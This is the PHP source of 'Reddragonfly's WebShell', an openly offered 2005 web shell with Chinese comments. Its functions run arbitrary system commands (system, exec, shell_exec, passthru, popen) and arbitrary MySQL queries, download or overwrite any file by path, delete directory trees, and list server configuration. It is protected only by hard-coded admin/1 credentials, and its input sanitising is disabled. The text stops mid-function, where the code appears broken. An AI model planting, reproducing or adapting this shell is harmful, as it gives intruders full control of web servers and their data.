<?
/*
----+-------------------------------------------------------------+-----
    |                                                             |
    | Reddragonfly's WebShell                                    |
    | http://www.reddragonfly.org                                 |
    | -------------------------------                             |
    | Email:phanrider@reddragonfly.org                            |
    |                                                             |
----+-------------------------------------------------------------+-----
*/

// 本程序参考了EasyWebshell和PHPWebshell部份代码和风格
// 在此对二位作者表示感谢





$r_admin[title]        =  "Reddragonfly's WebShell";
$r_admin[http]         =  "http://www.reddragonfly.org";
$r_admin[b_name]       =  "Reddragonfly's WebShell";
$r_admin[url]          =  "./webadmin.php";
$r_admin[email]        =  "phanrider&#64reddragonfly.org";
$r_admin[copyright]    =  "Copyright&copy; 2005 phanrider All Right Reserved.";
$r_admin[version]      =  "V0.01";  
$r_admin[t_time]       =  "2005-04-12"; 
$r_admin[pathname]     =  "";
$r_admin[pathname1]    =  "";
$r_admin[r_dir]        =  "";                                //相对路径
$r_admin[nowpath]      =  "";                                //绝对路径
$r_admin[nowpath_attr] =  "";
$r_admin[r_dirs]       =  ""; 
$r_admin[truepath]     =  ""; 
$r_admin[rootdir]      =  "";
$r_admin[admin]        =  "admin";
$r_admin[password]     =  "1";
$r_admin[pass]         =  "0";                             //session 认证无用时,用此认证  
$r_admin[flag]         =  "1";                            //是否验证(0 不验证,1 验证) 


session_start();
set_time_limit(120);


// ---------------------------------------------------------------------
//
// 输入处理及功能类
//
// ---------------------------------------------------------------------
class FUNC 
{

    // ---------------------------------------------------------------------
    //
    // 分析递交的参数
    //
    // ---------------------------------------------------------------------
    function getinput()
    {
        global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_CLIENT_IP, $REQUEST_METHOD;
        global $REMOTE_ADDR, $HTTP_PROXY_USER, $HTTP_X_FORWARDED_FOR;

        $return = array();

        // ---------------------------------------------------------------------
        // 取出GET的参数
        // ---------------------------------------------------------------------
        if( is_array($HTTP_GET_VARS) )
        {
    	    while( list($k, $v) = each($HTTP_GET_VARS) )
			{
                                //echo $k,$v;
				//$k = $this->clean_key($k);
				if( is_array($HTTP_GET_VARS[$k]) )
				{
					while( list($k2, $v2) = each($HTTP_GET_VARS[$k]) )
					{
						$return[$k][ $this->clean_key($k2) ] = $this->clean_value($v2);
					}
				}
				else
				{
					$return[$k] = $this->clean_value($v);
				}
			}
		}

		// ---------------------------------------------------------------------
		// 如果GET和POST存在相同的变量,用POST的值覆盖GET的值
		// ---------------------------------------------------------------------
		if( is_array($HTTP_POST_VARS) )
		{
			while( list($k, $v) = each($HTTP_POST_VARS) )
			{
			      //	 echo $k,$v;
                                 //$k = $this->clean_key($k);
				if ( is_array($HTTP_POST_VARS[$k]) )
				{
					while( list($k2, $v2) = each($HTTP_POST_VARS[$k]) )
					{
						$return[$k][ $this->clean_key($k2) ] = $this->clean_value($v2);
					}
				}
				else
				{
					$return[$k] = $this->clean_value($v);
				}
			}
		}

		// ---------------------------------------------------------------------
		// 取出访问者的IP地址
		// ---------------------------------------------------------------------
		$return['IP_ADDRESS'] = $this->select_var( array(
														  1 => $_SERVER['REMOTE_ADDR'],
														  2 => $HTTP_X_FORWARDED_FOR,
														  3 => $HTTP_PROXY_USER,
														  4 => $REMOTE_ADDR
														)
												 );

		// ---------------------------------------------------------------------
		// 取出有效的地址
		// ---------------------------------------------------------------------
		$return['IP_ADDRESS'] = preg_replace( "/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/", "\\1.\\2.\\3.\\4", $return['IP_ADDRESS'] );

		$return['request_method'] = ( $_SERVER['REQUEST_METHOD'] != "" ) ? strtolower($_SERVER['REQUEST_METHOD']) : strtolower($REQUEST_METHOD);

		return $return;
	}

	// ---------------------------------------------------------------------
	//
	// 清除有害的递交参数
	//
	// ---------------------------------------------------------------------
    function clean_key($key)
    {
    	if ($key == "")
    	{
    		return "";
    	}

 //    	$key = preg_replace( "/\.\./"           , ""  , $key );
 //   	$key = preg_replace( "/\_\_(.+?)\_\_/"  , ""  , $key );
 // 	$key = preg_replace( "/^([\w\.\-\_]+)$/", "$1", $key );

    	return $key;
    }

	// ---------------------------------------------------------------------
	//
	// 清除有害的递交参数值
	//
	// ---------------------------------------------------------------------
    function clean_value($val)
    {
    	if ($val == "")
    	{
    		return "";
    	}
/*    	
        $val = str_replace( "&#032;"       , " "             , $val );
        $val = str_replace( "&nbsp;"       , " "             , $val );
//    	$val = str_replace( "&"            , "&amp;"         , $val );
    	$val = str_replace( "@"            , "&#64;"         , $val );
//    	$val = str_replace( "<!--"         , "&#60;&#33;--"  , $val );
    	$val = str_replace( "-->"          , "--&#62;"       , $val );
    	$val = preg_replace( "/<script/i"  , "&#60;script"   , $val );
    	$val = str_replace( ">"            , "&gt;"          , $val );
    	$val = str_replace( "<"            , "&lt;"          , $val );
    	$val = str_replace( "\""           , "&quot;"        , $val );
    	$val = preg_replace( "/\|/"        , "&#124;"        , $val );
    	$val = preg_replace( "/&lt;br&gt;/" , "<br>"			 , $val );
    	$val = preg_replace( "/\n/"        , "<br>"          , $val ); // 转换换行符为html <br>
    	$val = preg_replace( "/\\\$/"      , "&#036;"        , $val );
    	$val = preg_replace( "/\r/"        , ""              , $val ); // 清除所有软回车信息
    	$val = str_replace( "!"            , "&#33;"         , $val );
    	$val = str_replace( "'"            , "&#39;"         , $val ); // 重要的: 它帮助增加SQL的安全
 */   	$val = stripslashes($val);                                     // 加入反斜线
 //   	$val = preg_replace( "/\\\/"       , "&#092;"        , $val ); // 转换用户输入的反斜线

    	return $val;

    }

    // ---------------------------------------------------------------------
    //
    // 变量选择器
    // 
    // ---------------------------------------------------------------------
    function select_var($array) {

    	if ( !is_array($array) ) return -1;

    	ksort($array);


    	$chosen = -1;  // 如果没有数据可用,保证返回 0

    	foreach ($array as $k => $v)
    	{
    		if (isset($v))
    		{
    			$chosen = $v;
    			break;
    		}
    	}

    	return $chosen;
    }


}   
 





// ---------------------------------------------------------------------
//
// 常用函数
//
// ---------------------------------------------------------------------

class WEB_SHELL
{
	var $input				= array();


	
	
// ---------------------------------------------------------------------
//
// 用户检查
//
// ---------------------------------------------------------------------
	
	
function check_logined()
{
	if (session_is_registered("username") && session_is_registered("password"))
	{
		return true;
	}
	return false;
}


// ---------------------------------------------------------------------
//
// 用户检查
//
// ---------------------------------------------------------------------
function checkadmin()
{
	global $r_admin;
	$login = $this->input[login];
	$username = $this->input[user_name];
	$userpassword = $this->input[user_password];
if ($login == "login")
{
	if (isset($username) && isset($userpassword))
	{
		if ( ($username != $r_admin['admin']) || ($userpassword != $r_admin['password']) )
		{
		        $this->Redirect("输入的用户名或者密码错误!","$r_admin[url]");
			exit();
                       
			
		}
		else
		{			
		//	$username = $username;
			$password = $userpassword;
                        $r_admin[pass] = "1";
			session_register("username");
			session_register("password");
                        echo $this->index();			
		//	show_succ_info("登陆成功,跳到文件管理...");
//			print "<meta http-equiv=\"refresh\" content=\"2;URL=\"" .$r_admin[url]. ">";
		        return true;
		}
	}
}


}




// 显示登陆信息函数
function show_login()
{
	global $r_admin;
        
	$login = $this->input[login];
        if ($login == "login") 	
        $this->checkadmin();
	else 
        {
         $show_mess = "	
			<center>
			<table>
			<tr>
			<td><br><br><br><br><br><br><br><br><br><br><br><font face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">
			<b>$r_admin[b_name] $r_admin[version]</b></font><br>
				<form action=\"$r_admin[url]?action=index&login=login\" method=\"post\">
				用户名: <input type='text' name='user_name' size='16' class=input_basic></input>
				</td>
			</tr>
			<tr>
				<td>
				密&nbsp;&nbsp;码: <input type='password' name='user_password' size='16' class=input_basic></input>
				</td>
			</tr>
			<tr>
				<td align=center>
				<input type='submit' value='登陆' class=input_basic>
				</td>
			</tr>
			</form>
			</table>
			</center>
		";
		echo  $show_mess;
		echo  $this->showfooter();
	}	
               return;		
}


// ---------------------------------------------------------------------
//
// 关于  
//
// ---------------------------------------------------------------------
function about()
{
        global $r_admin;

	$return  = $this->showhead($r_admin[b_name]);
        $return .="
<center>
  <table width='580' height='395' border='0' class='input_basic'>
    <tr>
      <td colspan='2'><div align='center' class='title'><strong>$r_admin[b_name]&nbsp$r_admin[version] 说明文件</strong></div></td>
    </tr>
    <tr>
      <td width='482'><strong>一、程序说明</strong></td>
      <td width='88'>&nbsp;</td>
    </tr>
    <tr><td>
该程序是一个小巧的功能齐全的网站在线管理程序，可在线提供文件上传下载，编辑，添加删除，新建文件目录，SHELL功能，以及操作Mysql数据库
    </td>
      <td>&nbsp;</td>
    </tr>
   
    <tr>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td><strong>二、基本功能</strong></td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td height='20'><p>1，文件和目录的新建或删除</p>
        </td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td>2，在线实现文件的上传和下载</td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td>3，文件在线编辑功能</td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td>4，SHELL和Mysql数据库的基本操作</td>
      <td>&nbsp;</td>
    </tr>
    
	<tr>
      <td>5，PHP探针和信息</td>
      <td>&nbsp;</td>
    </tr>
	<tr><td>&nbsp;</td></tr>
	
	<tr>
		<td><b>三、版权说明</b></td>
	</tr>
		<tr>
		<td>
你可以自由传播、复制、更新，但我们不会担保本软件一定能满足用户的要求，也不担保软件不会出错或者有瑕疵，对软件是否适用于用户的电脑系统以及是否兼容用户现有的软件都不作担保。无论同意与否，由于使用本软件而产生的数据丢失、任何理论上或实际上的损失、可用性消失、商业中断，或任何形式的直接、间接、特殊、意外或必然的破坏，或任何他方的索赔，本软件作者概不负责。
<br>****************************************************************************
<br>请支持希望工程：
<br>
<br>如果你看到这些文字，正好手边又有手机的话，请跟我们做
<br>a.拿出你的手机，写短信
<br>b.请按入数字“2” 
<br>c.发送到“8858”
<br>d.我们将会和哪些得到你帮助孩子一起感谢您的爱心！
<br>
<br>****************************************************************************
</td>
</tr>
<tr><td>&nbsp;</td></tr>
	   
    <tr>
      <td><b>四、更新历史</b></td>
      <td>&nbsp;</td>
    </tr>

    <tr>
      <td>2005-04-12  版本V0.01出世</td>
      <td>&nbsp;</td>
    </tr>

    <tr>
      <td height='22' colspan='2'><div align='center' class='style1'>声明：剑可防身也可伤人，风潇潇兮易水寒，壮士一去兮不复返！</div></td>
    </tr>
	<br>
  </table>
 
</center>

";
 
        $return .= $this->showfooter();
         return $return;






}













	
// ---------------------------------------------------------------------
//
// 显示页头
//
// ---------------------------------------------------------------------
function showhead($title)
{
	global $r_admin;

	$return = "


<html>
<head>
<title>$title</title>
<META http-equiv=Content-Type content='text/html; charset=gb2312'>
<META content='红蜻蜓工作室' name=keywords>
<LINK href=\"./rdstyle.css\" type=text/css rel=stylesheet>
</head>
<center>
<br>
			<p>
			<font size=3 color=#000000 face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\"><b>$r_admin[title] $r_admin[version]</b></font>
			<br>
			<p>
			<strong>
				<a href='./$r_admin[url]?action=fileman' title='文件管理'>文件管理</a> | 
				<a href='./$r_admin[url]?action=shell' title='执行命令'>执行命令</a> | 
				<a href='./$r_admin[url]?action=mysql' title='执行SQL'>执行SQL</a> |
				<a href='./$r_admin[url]?action=phpenv' title='PHP环境变量'>PHP环境变量</a> | 
				<a href='./$r_admin[url]?action=phpinfo1' title='PHPINFO'>PHPINFO</a> | 
				<a href='./$r_admin[url]?action=logout' title='注销登陆'>退出</a> |  
				<a href='./$r_admin[url]?action=about' title='关于本程序'>关于</a>
			</strong>
			</p>
</center>
";

    return $return;
}




// ---------------------------------------------------------------------
//
// 显示页尾
//
// ---------------------------------------------------------------------
function showfooter()
{
	global $r_admin;

    $return .= "
<br>
<table width=\"600\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=\"0\">
<tr><td>
<p align=\"center\" class=\"9p\">
<br><font color=#333399 face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\"><b><a href=\"$r_admin[http]\">
$r_admin[title] $r_admin[version]</a></b></font><br>
<font color=#000000 face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">Copyright &copy;
2005 Reddragonfly & Studio Code by </font>
<a href=\"mailto:$r_admin[email]\">
<font color=#000000 face=\"Verdana, Tahoma, Times New Roman, 宋体, MS Sans Serif\">phanrider</font></a> 
</p>
</td>
</tr>
</table>
</body>
</html>
";
        return $return;
}

    // ---------------------------------------------------------------------
    //
    // 让用户转向某一个页面
    //
    // ---------------------------------------------------------------------
	function Redirect($Text, $Url)
	{
		$return = "
<html>
<head>
<title>跳转页面</title>
<meta http-equiv='refresh' content='2; url=$Url' />
<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>
<link href='./rdstyle.css' type='text/css' rel='stylesheet'>
<body>
<table width='100%' height='85%' align='center'>
<tr>
<td valign='middle'>
 <table align='center' cellpadding='4' class='tablefill'>
  <tr>
	<td width='100%' align='center' nowrap='nowrap' class=style1>
	$Text<br /><br />
	程序将带你到相关页面。 <br /><br />
	(如果你不想等待, <a href='$Url'>请点这里。</a>)
	</td>
  </tr>
 </table>
</td>
</tr>
</table>
</body>
</html>
";
		echo $return;
		exit();
	}



// ---------------------------------------------------------------------
//
// 一些计算函数
//
// ---------------------------------------------------------------------

function getPath($mainpath, $relativepath) 
{
	global $r_admin;
	$mainpath_info           = explode('/', $mainpath);
	$relativepath_info       = explode('/', $relativepath);
	$relativepath_info_count = count($relativepath_info);
	for ($i=0; $i<$relativepath_info_count; $i++) 
	{
		if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
		if ($relativepath_info[$i] == '..') 
		{
			$mainpath_info_count = count($mainpath_info);
			unset($mainpath_info[$mainpath_info_count-1]);
			continue;
		}
		$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
	} //end for
	return implode('/', $mainpath_info);
	
}



function start_sh()
{
 	global $r_admin,$style;
 	
 /*	if(!isset($action)) 
 	{
        $action = "dir";
        $dir = ".";
        }
*/ 	
        $r_admin[pathname] = str_replace('\\\\','/',$_SERVER["DOCUMENT_ROOT"]);   //www服务路径
        // echo $r_admin[pathname];
        $r_admin[pathname1] = str_replace('\\\\','/',dirname(__FILE__));   //该文件当前服务路径
        
        $r_admin[rootdir] = $r_admin[pathname];
        $r_admin[r_dir]=$this->input['dir'];
//       echo "test:$r_admin[r_dir]";
      
        
        // 获取当前路径
        if (!isset($r_admin[r_dir]) or empty($r_admin[r_dir])) 
        {
          
	$r_admin[r_dir] = ".";
	
	$r_admin[nowpath] = $this->getPath($r_admin[pathname1], $r_admin[r_dir]);
        } 
        else 
        {
        //	echo off;
	$r_admin[r_dir]=$this->input['dir'];
//	echo "test:$r_admin[r_dir]";
	$r_admin[nowpath] = $this->getPath($r_admin[pathname1], $r_admin[r_dir]);
        }
        
        $r_admin[nowpath_attr] = substr(base_convert(@fileperms($r_admin[nowpath]),10,8),-4);
 //       echo $r_admin[nowpath];
 
 
        $unabspath = ".";
        
        if(isset($abspath)) $r_admin[nowpath] = $this->gettruepath($r_admin[r_dir]);
        else 
        {
       	if(isset($unabspath)) 
       	 {
        $r_admin[nowpath] = $this->gettruepath($r_admin[r_dir]);
        $r_admin[r_dir]   = $this->gettruepath($r_admin[r_dir]);
        if(strstr($r_admin[r_dir],$r_admin[rootdir])) $r_admin[r_dir] = str_replace("$r_admin[rootdir]","",$r_admin[r_dir]);  
        else $r_admin[nowpath] =".";
         }
        }
  

if($this->input[downfile]) {
 
// echo $this->input[downfile];

if(isset($this->input['downfile'])){
    if (!file_exists($this->input['downfile'])) $errordownload = "没找到文件"; 
    else {
        $df_name = basename($this->input['downfile']);
	//$df_name = $this->input[downfile];
	//echo $df_name;
        $df_fhd=fopen($this->input[downfile],"rb");
        if($df_fhd==false) $errordownload = "打开文件错误";
        else{
            Header("Content-type: application/octet-stream");
            Header("Accept-Ranges: bytes");
            Header("Accept-Length: ".filesize($this->input[downfile]));
            Header("Content-Disposition: attachment; filename=".$df_name);
	    echo fread($df_fhd,filesize($this->input[downfile]));
            fclose($df_fhd);
            exit;
        }
    } 
}
         $this->Redirect("$errordownload", $r_admin[url]);
}




echo "$style";

}



// ---------------------------------------------------------------------
//
// PHPINFO函数
//
// ---------------------------------------------------------------------
function phpinfo1()
{
  
       	global $r_admin;
        $return  = $this->showhead($r_admin[b_name]);
        $return .="   
   	<body bgcolor=#ffffff>  
  <br>
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center' style=\"TABLE-LAYOUT: fixed; WORD-BREAK: break-all\">
  <tr bgcolor='#cccccc'>
       <td>
        PHPINFO 	
       </td>
   </tr>
	       
	<td align=\"center\" bgcolor=\"#EEEEEE\" class=\"stylebtext2\"><br>
"; 
        echo $return; 
	phpinfo();
	if(eregi("phpinfo",get_cfg_var("disable_functions"))) 
        $return1 ="<b>phpinfo函数被禁止</b><br>";
	$return1 .="	
          </td>
	 	</table>
";
        $return1 .= $this->showfooter();
        echo $return1;
	return ; 
}









// ---------------------------------------------------------------------
//
// 编辑文件 
//
// ---------------------------------------------------------------------
function editfile()
{
        global $r_admin;
      
       
 
      $return  = $this->showhead($r_admin[b_name]);
      $return .="
<body bgcolor=#ffffff>  
  <br>
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#cccccc'>
       <td>
	文本编辑器(若目标文件不存在将新建新文件)
       </td>
   </tr>
	<form method='post' action=\"?action=savefile&dir=".urlencode($this->input['dir'])."\" enctype='multipart/form-data'>
		<td align=center valign=top bgcolor='EEEEEE'>当前编辑文件名:
			<input name=\"editfilename\" type=\"text\" class=\"style1\" value='".$this->input['dir']."' size=30>
			<input name=\"editbackfile\" type=\"checkbox\" value=1 class=\"style1\">生成备份文件(原文件.bak)<br>
			<textarea name=\"editfiletext\" cols=80 rows=20 class=\"style1\">
";
				$fd = @fopen($this->input['dir'], "rb");
				$fd==false?$readfbuff = "读取文件错误(或尚未读取文件).":$readfbuff = @fread($fd, filesize($this->input['dir']));
				@fclose( $fd );
				$readfbuff = htmlspecialchars($readfbuff);
       			$return .=$readfbuff;
$return .="			
                        </textarea><p>
			<input name=\"editfileb\" type=\"submit\" value=\"提交\">&nbsp;&nbsp;
			<input name=\"editagainb\" type=\"reset\" value=\"重置\">
			<a href=\"?action=dir&dir=".urlencode($dir)."\">点此返回文件浏览页面</a>
			<p>
		</td>
	</form>
        </table>
";

        $return .= $this->showfooter();
        return $return;
}


// ---------------------------------------------------------------------
//
// shell 
//
// ---------------------------------------------------------------------
function shell()
{
      global $r_admin;
      $shellcmd = $this->input['shellcmd'];
      $seletefunc = $this->input['seletefunc'];
 
      $return  = $this->showhead($r_admin[b_name]);
      $return .="
<body bgcolor=#ffffff>  
  <br>
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#cccccc'>
     <td>
        SHELL 命令
       </td>
   </tr>
		<form method=\"post\" action=\"?action=shell\" enctype=\"multipart/form-data\">
		<td align=\"center\" valign=\"top\" bgcolor=\"#EEEEEE\">
			函数:<select name=\"seletefunc\" class=\"input\">
				<option value=\"shell_exec\">shell_exec</option>
				<option value=\"exec\">exec</option>
				<option value=\"system\">system</option>
				<option value=\"passthru\">passthru</option>
				<option value=\"popen\">popen</option>
			</select>
			命令:<input name=\"shellcmd\" type=\"text\" class=\"style1\" value=\"";
                          $return .=isset($shellcmd)?$shellcmd:"";
                          $return .= "
                         \" size=60>
			 <textarea name=\"shelltext\" cols=80 rows=10 class=\"style1\">
";

				
                                        if(!empty($shellcmd)){
					if($seletefunc=="popen"){
						$pp = popen($shellcmd, 'r');
						
                                                $return .=fread($pp, 2096);
						
                                                pclose($pp);
					}else{
						$return .=  ("system"==$seletefunc)?system($shellcmd):(($seletefunc=="exec")?exec($shellcmd):(($seletefunc=="shell_exec")?shell_exec($shellcmd):(($seletefunc=="passthru")?passthru($shellcmd):system($shellcmd))));	
                                        }
                                 }
                                        $return .="  
				
			
					</textarea><p>
			<span class=\"stylebtext2\">";
                            $return .= get_cfg_var("safe_mode")?"提示:安全模式下可能无法执行":"";
                            $return .="
                         </span><p>
			<input name=\"shellcmdb\" type=\"submit\" value=\"执行\">&nbsp;&nbsp;
			<input name=\"shellagainb\" type=\"reset\" value=\"重置\">
			<p>
	</td>
	</form>
	</table>
";

        $return .= $this->showfooter();
        return $return;
}





// ---------------------------------------------------------------------
//
//  Mysql
//
// ---------------------------------------------------------------------
function mysql()
{
      global $r_admin;
    //  $shellcmd = $this->input['shellcmd'];
    //  $seletefunc = $this->input['seletefunc'];
        
       $sqlhost = $this->input[sqlhost];
       $sqlport = $this->input[sqlport];
       $sqluser = $this->input[sqluser];
       $sqlpasd = $this->input[sqlpasd];
       $sqldb = $this->input[sqldb];
       $sqlcmdtext = $this->input[sqlcmdtext];
       $sqlcmdb = $this->input[sqlcmdb];
        
      if (!isset($sqlhost) or empty($sqlhost)) $sqlhost = "localhost";
      if (!isset($sqlport) or empty($sqlport)) $sqlport = "3306";
      if (!isset($sqluser) or empty($sqluser)) $sqluser = "root";
      if (!Isset($sqlpasd) or empty($sqlpasd)) $sqlpasd = "";

         
      $return  = $this->showhead($r_admin[b_name]);
 
      $return .="

<body bgcolor=#ffffff>  
  <br>
<table width='600' border='0' cellpadding='3' cellspacing='1' bgcolor='#ffffff' class='input_basic' align='center'>
  <tr bgcolor='#cccccc'>
     <td>
        Mysql 数据库
       </td>
   </tr>
	<form method=\"post\" action=\"?action=mysql\" enctype=\"multipart/form-data\">
		<td align=\"center\" valign=\"top\" bgcolor=\"#EEEEEE\">
			数据库地址:<input name=\"sqlhost\" type=\"text\" class=\"style1\" value=\"$sqlhost\" size=20>
			端口:<input name=\"sqlport\" type=\"text\" class=\"style1\" value=\"$sqlport\" size=5>
			用户名:<input name=\"sqluser\" type=\"text\" class=\"style1\" value=\"$sqluser\" size=10>
			密码:<input name=\"sqlpasd\" type=\"text\" class=\"style1\" value=\"$sqlpasd\" size=10>
			数据库名:<input name=\"sqldb\" type=\"text\" class=\"style1\" value=\"$sqldb\" size=10><br>
			<textarea name=\"sqlcmdtext\" cols=\"80\" rows=\"10\" class=\"style1\">
";
				if(!empty($sqlcmdtext)){
					@mysql_connect("$sqlhost","$sqluser","$sqlpasd") or die("数据库连接失败");
					@mysql_select_db("$sqldb") or die("选择数据库失败");
					$res = @mysql_query("$sqlcmdtext");
					
                                        $return .="$sqlcmdtext";
					mysql_close();
				}
			$return .="
                        </textarea><p>
			<span class=\"stylebtext2\">
";
                        if (isset($sqlcmdb))
                           {
                             if($res)
                                $return .="执行成功.";
                             else 
                                $return .="执行失败:".mysql_error();
		           }
                        $return .="
                        </span><p>
                    	<input name=\"sqlcmdb\" type=\"submit\" value=\"执行\">&nbsp;&nbsp;
			<input name=\"sqlagainb\" type=\"reset\" value=\"重置\">
			<p>
		</td>
	</form>
       </table>  
";

     
        $return .= $this->showfooter();
        return $return;
}




// ---------------------------------------------------------------------
//
//  php环境变量
//
// ---------------------------------------------------------------------

function getphpcfg($varname) 
{
	switch($result = get_cfg_var($varname)) 
	{
		case 0:
		return "不支持";
		break;
		case 1:
		return "支持";
		break;
		default:
		return $result;
		break;
	}
}

// 检查函数情况函数
function getfun($funName) 
{
	return (false !== function_exists($funName)) ? "支持" : "不支持";
}




function phpenv()
{
      global $r_admin;
    //  $shellcmd = $this->input['shellcmd'];
    //  $seletefunc = $this->input['seletefunc'];
            
             
    $returnhead  = $this->showhead($r_admin[b_name]);
    echo $returnhead;
    $phpenv = $this->input[action];
   // echo $phpenv;
    if ($phpenv == "phpenv")
     {
        $adminmail=(isset($_SERVER["SERVER_ADMIN"]))? $_SERVER["SERVER_ADMIN"] : "没有";

	$upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传";
	$dis_func = get_cfg_var("disable_functions");
	$phpinfo=(!eregi("phpinfo",$dis_func)) ? "支持" : "不支持";

	$dis_func = get_cfg_var("disable_functions");
	if ($dis_func == "") {
		$dis_func = "没有";
	}else {
		$dis_func = str_replace(" ","<br>",$dis_func);
		$dis_func = str_replace(",","<br>",$dis_func);
	}

	$info[0]  = array("服务器时间",date("Y年m月d日 h:i:s",time()));
	$info[1]  = array("服务器域名","<a href=\"http://$_SERVER[SERVER_NAME]\" target=\"_blank\">$_SERVER[SERVER_NAME]</a>");
	$info[2]  = array("服务器IP地址",gethostbyname($_SERVER["SERVER_NAME"]));
	$info[3]  = array("服务器操作系统",PHP_OS);
	$info[5]  = array("服务器操作系统文字编码",$_SERVER["HTTP_ACCEPT_LANGUAGE"]);
	$info[6]  = array("服务器解译引擎",$_SERVER["SERVER_SOFTWARE"]);
	$info[7]  = array("Web服务端口",$_SERVER["SERVER_PORT"]);
	$info[8]  = array("PHP运行方式",strtoupper(php_sapi_name()));
	$info[9]  = array("PHP版本",PHP_VERSION);
	$info[10] = array("运行于安全模式",$this->getphpcfg("safemode"));
	$info[11] = array("服务器管理员",$adminmail);
	$info[12] = array("本文件路径",__FILE__);
	
	$info[13] = array("允许使用URL打开文件 allow_url_fopen",$this->getphpcfg("allow_url_fopen"));
	$info[14] = array("允许动态加载链接库 enable_dl",$this->getphpcfg("enable_dl"));
	$info[15] = array("显示错误信息 display_errors",$this->getphpcfg("display_errors"));
	$info[16] = array("自动定义全局变量 register_globals",$this->getphpcfg("register_globals"));
	$info[17] = array("magic_quotes_gpc",$this->getphpcfg("magic_quotes_gpc"));
	$info[18] = array("程序最多允许使用内存量 memory_limit",$this->getphpcfg("memory_limit"));
	$info[19] = array("POST最大字节数 post_max_size",$this->getphpcfg("post_max_size"));
	$info[20] = array("允许最大上传文件 upload_max_filesize",$upsize);
	$info[21] = array("程序最长运行时间 max_execution_time",$this->getphpcfg("max_execution_time")."秒");
	$info[22] = array("被禁用的函数 disable_functions",$dis_func);
	$info[23] = array("PHP环境信息 phpinfo()",$phpinfo);
	$info[24] = array("目前磁盘剩余空间 diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb');

	$info[25] = array("图形处理 GD Library",$this->getfun("imageline"));
	$info[26] = array("IMAP电子邮件系统",$this->getfun("imap_close"));
	$info[27] = array("MySQL数据库",$this->getfun("mysql_close"));
	$info[28] = array("SyBase数据库",$this->getfun("sybase_close"));
	$info[29] = array("Oracle数据库",$this->getfun("ora_close"));
	$info[30] = array("Oracle 8 数据库",$this->getfun("OCILogOff"));
	$info[31] = array("PREL相容语法 PCRE",$this->getfun("preg_match"));
	$info[32] = array("PDF文档支持",$this->getfun("pdf_close"));
	$info[33] = array("Postgre SQL数据库",$this->getfun("pg_close"));
	$info[34] = array("SNMP网络管理协议",$this->getfun("snmpget"));
	$info[35] = array("压缩文件支持(Zlib)",$this->getfun("gzclose"));
	$info[36] = array("XML解析",$this->getfun("xml_set_object"));
	$info[37] = array("FTP",$this->getfun("ftp_login"));
	$info[38] = array("ODBC数据库连接",$this->getfun("odbc_close"));
	$info[39] = array("Session支持",$this->getfun("session_start"));
	$info[40] = array("Socket支持",$this->getfun("fsockopen"));
	$return ="
<center>
<table width=600 border=0 align=\"center\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\" class=\"input_basic\">
 ";
        echo $return;
	for($a=0;$a<3;$a++){
		if($a == 0){
			$hp = array("server","服务器特性");
		}elseif($a == 1){
			$hp = array("php","PHP基本特性");
		}elseif($a == 2){
			$hp = array("basic","组件支持状况");
		}
	 $return1 ="
  <tr class=\"input_basic\">
    <td style=\"padding-left: 5px;\" bgcolor=\"#EEEEEE\"><b>$hp[1]</b></td>
  </tr>
  <tr class=\"inpub_basic\">
    <td>
      <table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
";
      echo $return1;
      
		if($a == 0){
			for($i=0;$i<=12;$i++){
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		}elseif($a == 1){
			for($i=13;$i<=24;$i++){
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		}elseif($a == 2){
			for($i=25;$i<=40;$i++){
				echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
			}
		}
    echo "
      </table>
    </td>
  </tr>
";	
	} 
	echo "</table>";

	
        $return4 .= $this->showfooter();
	echo $return4;
	return;
}



}

// ---------------------------------------------------------------------
//
// 删除目录函数 
//
// ---------------------------------------------------------------------

function deltree($TagDir){ 
	$mydir=@opendir($TagDir); 
	while($file=@readdir($mydir)){ 
		if((is_dir("$TagDir/$file")) && ($file!=".") && ($file!="..")) { 
			if(!deltree("$TagDir/$file")) return false;
		}else if(!is_dir("$TagDir/$file")){
			@chmod("$TagDir/$file", 0777);
			if(!@unlink("$TagDir/$file")) return false;
		}
	} 
	@closedir($mydir); 
	@chmod("$TagDir", 0777);
	if(!@rmdir($TagDir)) return false;
	return true;
}

// ---------------------------------------------------------------------
//
// 保存文件 
//
// ---------------------------------------------------------------------
function savefile()
{
        global $r_admin;
      

	$editfileb = $this->input['editfileb'];
	$editbackfile = $this->input['editbackfile'];
	$editfilename = $this->input['editfilename']; 
	$editfiletext = $this->input['editfiletext'];
			if(isset($editfileb)&&isset($editfilename)){
				if(isset($editbackfile)&&($editbackfile == 1)) 
				{ 
					if( @copy($editfilename,$editfilename.".bak"))
                                        $return1 .="生成备份文件成功.<p>";
                                        else $return1 .="生成备份文件成功<p>";
					}
				$fd = @fopen($editfilename, "w");
				if($fd == false) $return1 .="打开文件[$editfilename]错误.";
